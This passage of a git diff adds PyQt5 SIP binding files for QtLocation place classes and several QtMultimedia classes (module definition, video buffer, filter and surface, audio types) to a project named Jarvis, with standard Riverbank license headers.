3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QPlaceSearchSuggestionReply : QPlaceReply +{ +%TypeHeaderCode +#include +%End + +public: + explicit QPlaceSearchSuggestionReply(QObject *parent /TransferThis/ = 0); + virtual ~QPlaceSearchSuggestionReply(); + QStringList suggestions() const; + virtual QPlaceReply::Type type() const; + +protected: + void setSuggestions(const QStringList &suggestions); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacesupplier.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacesupplier.sip new file mode 100644 index 00000000..4f435695 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacesupplier.sip @@ -0,0 +1,48 @@ +// qplacesupplier.sip generated by MetaSIP +// +// This file is part of the QtLocation Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QPlaceSupplier +{ +%TypeHeaderCode +#include +%End + +public: + QPlaceSupplier(); + QPlaceSupplier(const QPlaceSupplier &other); + ~QPlaceSupplier(); + bool operator==(const QPlaceSupplier &other) const; + bool operator!=(const QPlaceSupplier &other) const; + QString name() const; + void setName(const QString &data); + QString supplierId() const; + void setSupplierId(const QString &identifier); + QUrl url() const; + void setUrl(const QUrl &data); + QPlaceIcon icon() const; + void setIcon(const QPlaceIcon &icon); + bool isEmpty() const; +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplaceuser.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplaceuser.sip new file mode 100644 index 00000000..7dd34e76 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplaceuser.sip @@ -0,0 +1,43 @@ +// qplaceuser.sip generated by MetaSIP +// +// This file is part of the QtLocation Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QPlaceUser +{ +%TypeHeaderCode +#include +%End + +public: + QPlaceUser(); + QPlaceUser(const QPlaceUser &other); + ~QPlaceUser(); + bool operator==(const QPlaceUser &other) const; + bool operator!=(const QPlaceUser &other) const; + QString userId() const; + void setUserId(const QString &identifier); + QString name() const; + void setName(const QString &name); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/QtMultimedia.toml b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/QtMultimedia.toml new file mode 100644 index 00000000..b8ac518c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/QtMultimedia.toml @@ -0,0 +1,6 @@ +# Automatically generated configuration for PyQt5.QtMultimedia. + +sip-version = "6.4.0" +sip-abi-version = "12.8" +module-tags = ["Qt_5_15_0", "WS_WIN"] +module-disabled-features = [] diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/QtMultimediamod.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/QtMultimediamod.sip new file mode 100644 index 00000000..de459491 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/QtMultimediamod.sip @@ -0,0 +1,126 @@ +// QtMultimediamod.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%Module(name=PyQt5.QtMultimedia, keyword_arguments="Optional", use_limited_api=True) + +%Import QtCore/QtCoremod.sip +%Import QtGui/QtGuimod.sip +%Import QtNetwork/QtNetworkmod.sip + +%Copying +Copyright (c) 2021 Riverbank Computing Limited + +This file is part of PyQt5. + +This file may be used under the terms of the GNU General Public License +version 3.0 as published by the Free Software Foundation and appearing in +the file LICENSE included in the packaging of this file. Please review the +following information to ensure the GNU General Public License version 3.0 +requirements will be met: http://www.gnu.org/copyleft/gpl.html. + +If you do not wish to use this file under the terms of the GPL version 3.0 +then you may purchase a commercial license. For more information contact +info@riverbankcomputing.com. + +This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +%End + +%DefaultSupertype sip.simplewrapper + +%Include qabstractvideobuffer.sip +%Include qabstractvideofilter.sip +%Include qabstractvideosurface.sip +%Include qaudio.sip +%Include qaudiobuffer.sip +%Include qaudiodecoder.sip +%Include qaudiodecodercontrol.sip +%Include qaudiodeviceinfo.sip +%Include qaudioencodersettingscontrol.sip +%Include qaudioformat.sip +%Include qaudioinput.sip +%Include qaudioinputselectorcontrol.sip +%Include qaudiooutput.sip +%Include qaudiooutputselectorcontrol.sip +%Include qaudioprobe.sip +%Include qaudiorecorder.sip +%Include qaudiorolecontrol.sip +%Include qcamera.sip +%Include qcameracapturebufferformatcontrol.sip +%Include qcameracapturedestinationcontrol.sip +%Include qcameracontrol.sip +%Include qcameraexposure.sip +%Include qcameraexposurecontrol.sip +%Include qcamerafeedbackcontrol.sip +%Include qcameraflashcontrol.sip +%Include qcamerafocus.sip +%Include qcamerafocuscontrol.sip +%Include qcameraimagecapture.sip +%Include qcameraimagecapturecontrol.sip +%Include qcameraimageprocessing.sip +%Include qcameraimageprocessingcontrol.sip +%Include qcamerainfo.sip +%Include qcamerainfocontrol.sip +%Include qcameralockscontrol.sip +%Include qcameraviewfindersettings.sip +%Include qcameraviewfindersettingscontrol.sip +%Include qcamerazoomcontrol.sip +%Include qcustomaudiorolecontrol.sip +%Include qimageencodercontrol.sip +%Include qmediaaudioprobecontrol.sip +%Include qmediaavailabilitycontrol.sip +%Include qmediabindableinterface.sip +%Include qmediacontainercontrol.sip +%Include qmediacontent.sip +%Include qmediacontrol.sip +%Include qmediaencodersettings.sip +%Include qmediagaplessplaybackcontrol.sip +%Include qmediametadata.sip +%Include qmedianetworkaccesscontrol.sip +%Include qmediaobject.sip +%Include qmediaplayer.sip +%Include qmediaplayercontrol.sip +%Include qmediaplaylist.sip +%Include qmediarecorder.sip +%Include qmediarecordercontrol.sip +%Include qmediaresource.sip +%Include qmediaservice.sip +%Include qmediastreamscontrol.sip +%Include qmediatimerange.sip +%Include qmediavideoprobecontrol.sip +%Include qmetadatareadercontrol.sip +%Include qmetadatawritercontrol.sip +%Include qmultimedia.sip +%Include qradiodata.sip +%Include qradiodatacontrol.sip +%Include qradiotuner.sip +%Include qradiotunercontrol.sip +%Include qsound.sip +%Include qsoundeffect.sip +%Include qvideodeviceselectorcontrol.sip +%Include qvideoencodersettingscontrol.sip +%Include qvideoframe.sip +%Include qvideoprobe.sip +%Include qvideorenderercontrol.sip +%Include qvideosurfaceformat.sip +%Include qvideowindowcontrol.sip +%Include qpymultimedia_qlist.sip diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qabstractvideobuffer.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qabstractvideobuffer.sip new file mode 100644 index 00000000..2f68cc24 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qabstractvideobuffer.sip @@ -0,0 +1,83 @@ +// qabstractvideobuffer.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QAbstractVideoBuffer +{ +%TypeHeaderCode +#include +%End + +public: + enum HandleType + { + NoHandle, + GLTextureHandle, + XvShmImageHandle, + CoreImageHandle, + QPixmapHandle, +%If (Qt_5_4_0 -) + EGLImageHandle, +%End + UserHandle, + }; + + enum MapMode + { + NotMapped, + ReadOnly, + WriteOnly, + ReadWrite, + }; + + QAbstractVideoBuffer(QAbstractVideoBuffer::HandleType type); + virtual ~QAbstractVideoBuffer(); + QAbstractVideoBuffer::HandleType handleType() const; + virtual QAbstractVideoBuffer::MapMode mapMode() const = 0; + virtual SIP_PYOBJECT map(QAbstractVideoBuffer::MapMode mode, int *numBytes, int *bytesPerLine) = 0 /TypeHint="PyQt5.sip.voidptr"/ [uchar * (QAbstractVideoBuffer::MapMode mode, int *numBytes, int *bytesPerLine)]; +%MethodCode + uchar *mem; + + Py_BEGIN_ALLOW_THREADS + mem = sipCpp->map(a0, &a1, &a2); + Py_END_ALLOW_THREADS + + if (mem) + { + if (a0 & QAbstractVideoBuffer::WriteOnly) + sipRes = sipConvertFromVoidPtrAndSize(mem, a1); + else + sipRes = sipConvertFromConstVoidPtrAndSize(mem, a1); + } + else + { + sipRes = Py_None; + Py_INCREF(sipRes); + } +%End + + virtual void unmap() = 0; + virtual QVariant handle() const; + virtual void release(); + +private: + QAbstractVideoBuffer(const QAbstractVideoBuffer &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qabstractvideofilter.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qabstractvideofilter.sip new file mode 100644 index 00000000..53a9dfee --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qabstractvideofilter.sip @@ -0,0 +1,64 @@ +// qabstractvideofilter.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QVideoFilterRunnable +{ +%TypeHeaderCode +#include +%End + +public: + enum RunFlag + { + LastInChain, + }; + + typedef QFlags RunFlags; + virtual ~QVideoFilterRunnable() /ReleaseGIL/; + virtual QVideoFrame run(QVideoFrame *input, const QVideoSurfaceFormat &surfaceFormat, QVideoFilterRunnable::RunFlags flags) = 0 /ReleaseGIL/; +}; + +%End +%If (Qt_5_5_0 -) +QFlags operator|(QVideoFilterRunnable::RunFlag f1, QFlags f2); +%End +%If (Qt_5_5_0 -) + +class QAbstractVideoFilter : QObject +{ +%TypeHeaderCode +#include +%End + +public: + explicit QAbstractVideoFilter(QObject *parent /TransferThis/ = 0); + virtual ~QAbstractVideoFilter(); + bool isActive() const; + virtual QVideoFilterRunnable *createFilterRunnable() = 0 /ReleaseGIL/; + +signals: + void activeChanged(); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qabstractvideosurface.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qabstractvideosurface.sip new file mode 100644 index 00000000..28031402 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qabstractvideosurface.sip @@ -0,0 +1,167 @@ +// qabstractvideosurface.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QAbstractVideoSurface : QObject +{ +%TypeHeaderCode +#include +%End + +%ConvertToSubClassCode + static struct class_graph { + const char *name; + sipTypeDef **type; + int yes, no; + } graph[] = { + #if QT_VERSION >= 0x050500 + {sipName_QAbstractVideoFilter, &sipType_QAbstractVideoFilter, -1, 1}, + #else + {0, 0, -1, 1}, + #endif + {sipName_QAbstractVideoSurface, &sipType_QAbstractVideoSurface, -1, 2}, + {sipName_QMediaObject, &sipType_QMediaObject, 18, 3}, + {sipName_QMediaControl, &sipType_QMediaControl, 22, 4}, + {sipName_QAudioInput, &sipType_QAudioInput, -1, 5}, + {sipName_QAudioOutput, &sipType_QAudioOutput, -1, 6}, + {sipName_QAudioProbe, &sipType_QAudioProbe, -1, 7}, + {sipName_QMediaRecorder, &sipType_QMediaRecorder, 60, 8}, + {sipName_QCameraExposure, &sipType_QCameraExposure, -1, 9}, + {sipName_QCameraFocus, &sipType_QCameraFocus, -1, 10}, + {sipName_QCameraImageCapture, &sipType_QCameraImageCapture, -1, 11}, + {sipName_QCameraImageProcessing, &sipType_QCameraImageProcessing, -1, 12}, + {sipName_QMediaPlaylist, &sipType_QMediaPlaylist, -1, 13}, + {sipName_QMediaService, &sipType_QMediaService, -1, 14}, + {sipName_QRadioData, &sipType_QRadioData, -1, 15}, + {sipName_QSound, &sipType_QSound, -1, 16}, + {sipName_QSoundEffect, &sipType_QSoundEffect, -1, 17}, + {sipName_QVideoProbe, &sipType_QVideoProbe, -1, -1}, + {sipName_QAudioDecoder, &sipType_QAudioDecoder, -1, 19}, + {sipName_QCamera, &sipType_QCamera, -1, 20}, + {sipName_QMediaPlayer, &sipType_QMediaPlayer, -1, 21}, + {sipName_QRadioTuner, &sipType_QRadioTuner, -1, -1}, + {sipName_QAudioDecoderControl, &sipType_QAudioDecoderControl, -1, 23}, + {sipName_QAudioEncoderSettingsControl, &sipType_QAudioEncoderSettingsControl, -1, 24}, + {sipName_QAudioInputSelectorControl, &sipType_QAudioInputSelectorControl, -1, 25}, + {sipName_QAudioOutputSelectorControl, &sipType_QAudioOutputSelectorControl, -1, 26}, + #if QT_VERSION >= 0x050600 + {sipName_QAudioRoleControl, &sipType_QAudioRoleControl, -1, 27}, + #else + {0, 0, -1, 27}, + #endif + {sipName_QCameraCaptureBufferFormatControl, &sipType_QCameraCaptureBufferFormatControl, -1, 28}, + {sipName_QCameraCaptureDestinationControl, &sipType_QCameraCaptureDestinationControl, -1, 29}, + {sipName_QCameraControl, &sipType_QCameraControl, -1, 30}, + {sipName_QCameraExposureControl, &sipType_QCameraExposureControl, -1, 31}, + {sipName_QCameraFeedbackControl, &sipType_QCameraFeedbackControl, -1, 32}, + {sipName_QCameraFlashControl, &sipType_QCameraFlashControl, -1, 33}, + {sipName_QCameraFocusControl, &sipType_QCameraFocusControl, -1, 34}, + {sipName_QCameraImageCaptureControl, &sipType_QCameraImageCaptureControl, -1, 35}, + {sipName_QCameraImageProcessingControl, &sipType_QCameraImageProcessingControl, -1, 36}, + {sipName_QCameraInfoControl, &sipType_QCameraInfoControl, -1, 37}, + {sipName_QCameraLocksControl, &sipType_QCameraLocksControl, -1, 38}, + {sipName_QCameraViewfinderSettingsControl, &sipType_QCameraViewfinderSettingsControl, -1, 39}, + {sipName_QCameraViewfinderSettingsControl2, &sipType_QCameraViewfinderSettingsControl2, -1, 40}, + {sipName_QCameraZoomControl, &sipType_QCameraZoomControl, -1, 41}, + #if QT_VERSION >= 0x050b00 + {sipName_QCustomAudioRoleControl, &sipType_QCustomAudioRoleControl, -1, 42}, + #else + {0, 0, -1, 42}, + #endif + {sipName_QImageEncoderControl, &sipType_QImageEncoderControl, -1, 43}, + {sipName_QMediaAudioProbeControl, &sipType_QMediaAudioProbeControl, -1, 44}, + {sipName_QMediaAvailabilityControl, &sipType_QMediaAvailabilityControl, -1, 45}, + {sipName_QMediaContainerControl, &sipType_QMediaContainerControl, -1, 46}, + {sipName_QMediaGaplessPlaybackControl, &sipType_QMediaGaplessPlaybackControl, -1, 47}, + {sipName_QMediaNetworkAccessControl, &sipType_QMediaNetworkAccessControl, -1, 48}, + {sipName_QMediaPlayerControl, &sipType_QMediaPlayerControl, -1, 49}, + {sipName_QMediaRecorderControl, &sipType_QMediaRecorderControl, -1, 50}, + {sipName_QMediaStreamsControl, &sipType_QMediaStreamsControl, -1, 51}, + {sipName_QMediaVideoProbeControl, &sipType_QMediaVideoProbeControl, -1, 52}, + {sipName_QMetaDataReaderControl, &sipType_QMetaDataReaderControl, -1, 53}, + {sipName_QMetaDataWriterControl, &sipType_QMetaDataWriterControl, -1, 54}, + {sipName_QRadioDataControl, &sipType_QRadioDataControl, -1, 55}, + {sipName_QRadioTunerControl, &sipType_QRadioTunerControl, -1, 56}, + {sipName_QVideoDeviceSelectorControl, &sipType_QVideoDeviceSelectorControl, -1, 57}, + {sipName_QVideoEncoderSettingsControl, &sipType_QVideoEncoderSettingsControl, -1, 58}, + {sipName_QVideoRendererControl, &sipType_QVideoRendererControl, -1, 59}, + {sipName_QVideoWindowControl, &sipType_QVideoWindowControl, -1, -1}, + {sipName_QAudioRecorder, &sipType_QAudioRecorder, -1, -1}, + }; + + int i = 0; + + sipType = NULL; + + do + { + struct class_graph *cg = &graph[i]; + + if (cg->name != NULL && sipCpp->inherits(cg->name)) + { + sipType = *cg->type; + i = cg->yes; + } + else + i = cg->no; + } + while (i >= 0); +%End + +public: + enum Error + { + NoError, + UnsupportedFormatError, + IncorrectFormatError, + StoppedError, + ResourceError, + }; + + explicit QAbstractVideoSurface(QObject *parent /TransferThis/ = 0); + virtual ~QAbstractVideoSurface(); + virtual QList supportedPixelFormats(QAbstractVideoBuffer::HandleType type = QAbstractVideoBuffer::NoHandle) const = 0; + virtual bool isFormatSupported(const QVideoSurfaceFormat &format) const; + virtual QVideoSurfaceFormat nearestFormat(const QVideoSurfaceFormat &format) const; + QVideoSurfaceFormat surfaceFormat() const; + virtual bool start(const QVideoSurfaceFormat &format); + virtual void stop(); + bool isActive() const; + virtual bool present(const QVideoFrame &frame) = 0; + QAbstractVideoSurface::Error error() const; + +signals: + void activeChanged(bool active); + void surfaceFormatChanged(const QVideoSurfaceFormat &format); + void supportedFormatsChanged(); + +protected: + void setError(QAbstractVideoSurface::Error error); + +public: + QSize nativeResolution() const; + +protected: + void setNativeResolution(const QSize &resolution); + +signals: + void nativeResolutionChanged(const QSize &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qaudio.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qaudio.sip new file mode 100644 index 00000000..4680c342 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qaudio.sip @@ -0,0 +1,89 @@ +// qaudio.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +namespace QAudio +{ +%TypeHeaderCode +#include +%End + + enum Error + { + NoError, + OpenError, + IOError, + UnderrunError, + FatalError, + }; + + enum State + { + ActiveState, + SuspendedState, + StoppedState, + IdleState, +%If (Qt_5_10_0 -) + InterruptedState, +%End + }; + + enum Mode + { + AudioInput, + AudioOutput, + }; + +%If (Qt_5_6_0 -) + + enum Role + { + UnknownRole, + MusicRole, + VideoRole, + VoiceCommunicationRole, + AlarmRole, + NotificationRole, + RingtoneRole, + AccessibilityRole, + SonificationRole, + GameRole, +%If (Qt_5_11_0 -) + CustomRole, +%End + }; + +%End +%If (Qt_5_8_0 -) + + enum VolumeScale + { + LinearVolumeScale, + CubicVolumeScale, + LogarithmicVolumeScale, + DecibelVolumeScale, + }; + +%End +%If (Qt_5_8_0 -) + qreal convertVolume(qreal volume, QAudio::VolumeScale from, QAudio::VolumeScale to); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qaudiobuffer.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qaudiobuffer.sip new file mode 100644 index 00000000..647cd2bd --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qaudiobuffer.sip @@ -0,0 +1,44 @@ +// qaudiobuffer.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QAudioBuffer +{ +%TypeHeaderCode +#include +%End + +public: + QAudioBuffer(); + QAudioBuffer(const QByteArray &data, const QAudioFormat &format, qint64 startTime = -1); + QAudioBuffer(int numFrames, const QAudioFormat &format, qint64 startTime = -1); + QAudioBuffer(const QAudioBuffer &other); + ~QAudioBuffer(); + bool isValid() const; + QAudioFormat format() const; + int frameCount() const; + int sampleCount() const; + int byteCount() const; + qint64 duration() const; + qint64 startTime() const; + const void *constData() const; + void *data(); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qaudiodecoder.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qaudiodecoder.sip new file mode 100644 index 00000000..654c3b0d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qaudiodecoder.sip @@ -0,0 +1,85 @@ +// qaudiodecoder.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QAudioDecoder : QMediaObject +{ +%TypeHeaderCode +#include +%End + +public: + enum State + { + StoppedState, + DecodingState, + }; + + enum Error + { + NoError, + ResourceError, + FormatError, + AccessDeniedError, + ServiceMissingError, + }; + +%If (Qt_5_6_1 -) + explicit QAudioDecoder(QObject *parent /TransferThis/ = 0); +%End +%If (- Qt_5_6_1) + QAudioDecoder(QObject *parent /TransferThis/ = 0); +%End + virtual ~QAudioDecoder(); + static QMultimedia::SupportEstimate hasSupport(const QString &mimeType, const QStringList &codecs = QStringList()); + QAudioDecoder::State state() const; + QString sourceFilename() const; + void setSourceFilename(const QString &fileName); + QIODevice *sourceDevice() const; + void setSourceDevice(QIODevice *device); + QAudioFormat audioFormat() const; + void setAudioFormat(const QAudioFormat &format); + QAudioDecoder::Error error() const; + QString errorString() const; + QAudioBuffer read() const; + bool bufferAvailable() const; + qint64 position() const; + qint64 duration() const; + +public slots: + void start(); + void stop(); + +signals: + void bufferAvailableChanged(bool); + void bufferReady(); + void finished(); + void stateChanged(QAudioDecoder::State newState); + void formatChanged(const QAudioFormat &format); + void error(QAudioDecoder::Error error); + void sourceChanged(); + void positionChanged(qint64 position); + void durationChanged(qint64 duration); + +public: + virtual bool bind(QObject *); + virtual void unbind(QObject *); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qaudiodecodercontrol.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qaudiodecodercontrol.sip new file mode 100644 index 00000000..4f81470d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qaudiodecodercontrol.sip @@ -0,0 +1,58 @@ +// qaudiodecodercontrol.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QAudioDecoderControl : QMediaControl +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QAudioDecoderControl(); + virtual QAudioDecoder::State state() const = 0; + virtual QString sourceFilename() const = 0; + virtual void setSourceFilename(const QString &fileName) = 0; + virtual QIODevice *sourceDevice() const = 0; + virtual void setSourceDevice(QIODevice *device) = 0; + virtual void start() = 0; + virtual void stop() = 0; + virtual QAudioFormat audioFormat() const = 0; + virtual void setAudioFormat(const QAudioFormat &format) = 0; + virtual QAudioBuffer read() = 0; + virtual bool bufferAvailable() const = 0; + virtual qint64 position() const = 0; + virtual qint64 duration() const = 0; + +signals: + void stateChanged(QAudioDecoder::State newState); + void formatChanged(const QAudioFormat &format); + void sourceChanged(); + void error(int error, const QString &errorString); + void bufferReady(); + void bufferAvailableChanged(bool available); + void finished(); + void positionChanged(qint64 position); + void durationChanged(qint64 duration); + +protected: + explicit QAudioDecoderControl(QObject *parent /TransferThis/ = 0); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qaudiodeviceinfo.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qaudiodeviceinfo.sip new file mode 100644 index 00000000..c286b203 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qaudiodeviceinfo.sip @@ -0,0 +1,52 @@ +// qaudiodeviceinfo.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF 